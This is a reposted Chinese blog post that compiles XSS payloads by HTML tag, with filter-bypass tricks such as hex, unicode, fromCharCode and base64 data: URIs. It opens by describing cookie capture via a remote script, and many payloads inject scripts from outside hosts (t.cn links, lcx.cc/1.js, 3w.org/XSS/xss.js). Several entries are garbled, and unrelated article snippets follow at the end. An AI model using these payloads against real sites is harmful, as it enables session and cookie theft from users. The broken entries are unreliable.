xss其他标签下的js用法总结大全

前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为↓

Default

1

<script src=js地址></script>

实际上我们的测试语句可能为↓

Default

1

<script>alert("90sec")</script>

也就是说js语句实际上是位于↓
<script></script>的中间。

包括<img>、<input>、<object>、<iframe>、<a></a>、<svg>、标签等情况下的xss构造。

所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用<script>就很麻烦了。

【XSS基本探测pyload】

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<script>alert(“xss”)</script>

<script>alert(/xss/)</script> //双引号换成斜杠

<script>alert(‘xss’)</script> //用单引号

<script>alert("xss");</script> //用分号

<script>alert(‘xss‘);</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自动补全

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号

<script>alert("xss");;;;;;;;;;;;;;;;;        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车

Default

1

2

单引号被过滤

<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

Default

1

2

【javascript伪协议】回旋

<a href="javascript:alert(/test/)">xss</a>

Default

1

2

3

<script>被过滤↓

<iframe src=javascript:alert(‘xss‘);height=0 width=0 /><iframe>利用iframe框架标签

Default

1

2

alert被过滤

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

Default

1

2

【img标记】

<img src=x onerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://t.cn/R5UpyOt‘;>

Default

1

2

on事件点击触发

onclick="alert(‘xss‘) //注意要用单引号 双引号不会触发

Default

1

2

on事件-移动触发

Onmousemove="alert(‘xss‘)

Default

1

2

3

4

5

6

7

【利用函数加密】

eval 函数配合编码

<script>eval(“js+16进制加密”)</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

编码要执行的语句↓

Alert(“xss”)

Default

1

2

3

4

5

6

【unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解决alert()被过滤

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式↓

标记eval(“编码”) 结束标记

Default

1

2

3

4

5

6

7

【String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式→<script>eval(String.fromCharCode编码内容))</script>

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

【data协议运用】

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>

格式

Data:[<mime type>][;charset=<charset>[;base64],<encoded data>

Data //协议

<mime type> //数据类似

charset=<charset>  //指定编码

[;base64] //被指定的编码

<encoded data> //定义data协议的编码

实际编码↓

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

base64编码要执行的内容

特点:不支持IE

【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

<img src=javascript:document.write(‘<scr‘+‘ipt src=\‘http://www.baidu.com/1.txt\‘></scr‘+‘ipt>‘)></img>  //仅支持IE6

<img src=javascript:window.s=document.createElement(‘script‘);window.s.src=‘http://lcx.cc/1.js‘;document.body.appendChild(window.s);></img>  //仅支持IE6

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<input autofocus="bbbb" />

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

<a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

<anchor>、<img>(不执行js) <a>(需点击) <meta>.....

<anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

<baa id="1" tabindex=0>

(1)普通的XSS JavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码

<IMG SRC=jav..省略..S‘)>

(9)7位的UTF-8的Unicode编码是没有分号的

<IMG SRC=jav..省略..S‘)>

(10)十六进制编码也是没有分号

<IMG SRC=\‘#\‘" /span>

(11)嵌入式标签,将Javascript分开

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

(13)嵌入式换行符

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

(14)嵌入式回车

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=\‘#\‘" /span>

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

(17)空字符

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签

<IMG SRC=\‘#\‘"   javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\‘#\‘" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

<BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\‘#\‘" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS

<IMG SRC=\‘#\‘" /span>

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript

\”;alert(‘XSS’);//

(30)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image

<INPUT SRC=\‘#\‘" /span>

(32)BODY Image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签

<BODY(‘XSS’)>

(34)IMG Dynsrc

<IMG DYNSRC=\‘#\‘" /span>

(35)IMG Lowsrc

<IMG LOWSRC=\‘#\‘" /span>

(36)BGSOUND

<BGSOUND SRC=\‘#\‘" /span>

(37)STYLE sheet

<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表

<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

(39)List-style-image(列表式)

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript

<IMG SRC=\‘#\‘" /STYLE><UL><LI>XSS

(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe

<IFRAME SRC=\‘#\‘" /IFRAME>

(43)Frame

<FRAMESET><FRAME SRC=\‘#\‘" /FRAMESET>

(44)Table

<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD

<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达

<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

(53)STYLE background

<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE

<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\‘#\‘" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>



——————————————-xss其他标签下的js用法总结大全––——————————–————————————

转自:http://www.91ri.org/16155.html

原文地址:https://www.cnblogs.com/-ying-/p/11820311.html

时间: 2024-08-15 06:32:37

xss其他标签下的js用法总结大全的相关文章

js实现标签下划线平移

一.使用js实现导航行栏,点击时,下划线会跟着鼠标的点击移动. html代码如下: <header>    <div id="nav1">     <div id="id1" class="item">1</div>     <div id="id2" class="item">2</div>     <div id="

iScroll.js 用法参考 (share)

iScroll.js 用法参考 (share) 分享是传播.学习知识最好的方法 以下这篇文章是iScroll.js官网的中文翻译,尽管自己英文不好,但觉得原作者们翻译的这个资料还是可以的,基本用法介绍清楚了.如果你英文比较好的话,可以看看官网的资料. 参考:http://www.cnblogs.com/asqq/archive/2012/04/23/2466132.html  ,  http://www.nb88.net/Index/p/id/406 官网:http://cubiq.org/is

前端基础:HTML标签(下)

前端基础HTML标签(下) 1.表单 表单的功能主要用于向服务器传输数据,从而实现客户端与Web服务器的交互.表单能够包含input系列标签,比如:文本字段.复选框.单选按钮.提交按钮等:表单还包含textarea.select和label标签: 表单的属性:action,将表单数据提交到指定服务器的某个程序,程序收到表单提交过来的数据(即表单数据)做相应处理,比如:https://baidu.com:**method**,表单的提交方式get/post/update等,默认为get: 注意 f

jquery教程-Jquery 获取标签个数 size()函数用法

jquery教程-Jquery 获取标签个数 size()函数用法,size() 方法返回被 jQuery 选择器匹配的元素的数量. 语法 $(selector).size() jQuery 对象中元素的个数. 这个函数的返回值与 jQuery 对象的'length' 属性一致. 用途:可用于统计某个页面中某些项的数量.比如要统计语文成绩小于100的记录数,可以给小于100 的字段赋上<font class="xx">oo</font>.统计出此标签的数量即得结

谷歌、火狐浏览器下实现JS跨域iframe高度自适应的完美解决方法,跨域调用JS不再是难题!

谷歌.火狐浏览器下实现JS跨域iframe高度自适应的解决方法 导读:今天开发的时候遇到个iframe自适应高度的问题,相信大家对这个不陌生,但是一般我们都是在同一个项目使用iframe嵌套页面,这个ifame高度自适应网上一搜一大把,今天要讲的如何在不同的网站下进行相互的调用跟在同一个网站下是一个效果:例如我在自己的项目里面Iframe  了第一博客的页面  http://www.diyibk.com/   当第一博客的页面高度变化了怎么通知父页面呢? 这个时候在谷歌下肯定是拿不到 ifram

【Android开发经验】&lt;Activity&gt;标签下常见属性介绍

转载请注明出处:http://blog.csdn.net/zhaokaiqiang1992 下面是Activity标签下所有的属性值,简单了解下这些属性的意思. 还有一些属性没有介绍,因为资料找的好累啊,以后不做这样的工作了,这些属性虽然费了好大劲,但是感觉收获很少,毕竟用的就很少,大家扫一眼就够了,别太费劲去研究这些平常用不到的属性,不利于学习!

IE6,IE7,IE8下报JS错误:expected identifier, string or number的原因及解决的方法

今天在调试一个页面的时候遇到一个问题,在IE9下执行得非常好的脚本,在IE8里打开的时候弹出错误:expected identifier, string or number,依照经验,应该是定义对象的时候最后一个属性末尾跟了逗号,但检查一遍后没发现有这样的情况,后来细致看了一下报错的位置,发现有定义json对象属性时,属性名没实用引號括起来,于是加了上去再试,问题攻克了. 综上所述,当出现expected identifier, string or number的错误时,你首先应该检查在使用对象

Linux下Kill函数用法

http://www.cnblogs.com/winnxm/archive/2010/01/22/1654502.html [ KILL ]功能描述: 用于向任何进程组或进程发送信号. 1 #include <sys/types.h> 2 3 #include <signal.h> 4 5 int kill(pid_t pid, int sig); 6 7 参数: pid:可能选择有以下四种 1. pid大于零时,pid是信号欲送往的进程的标识. 2. pid等于零时,信号将送往所

《Node.js入门》Windows 7下Node.js Web开发环境搭建笔记

近期想尝试一下在IBM Bluemix上使用Node.js创建Web应用程序.所以须要在本地搭建Node.js Web的开发測试环境. 这里讲的是Windows下的搭建方法,使用CentOS 的小伙伴请參考:<Node.js入门>CentOS 6.5下Node.js Web开发环境搭建笔记 Node.js是什么? 我们看看百科里怎么说的? JavaScript是一种执行在浏览器的脚本,它简单,轻巧.易于编辑,这样的脚本通经常使用于浏览器的前端编程.可是一位开发人员Ryan有一天发现这样的前端式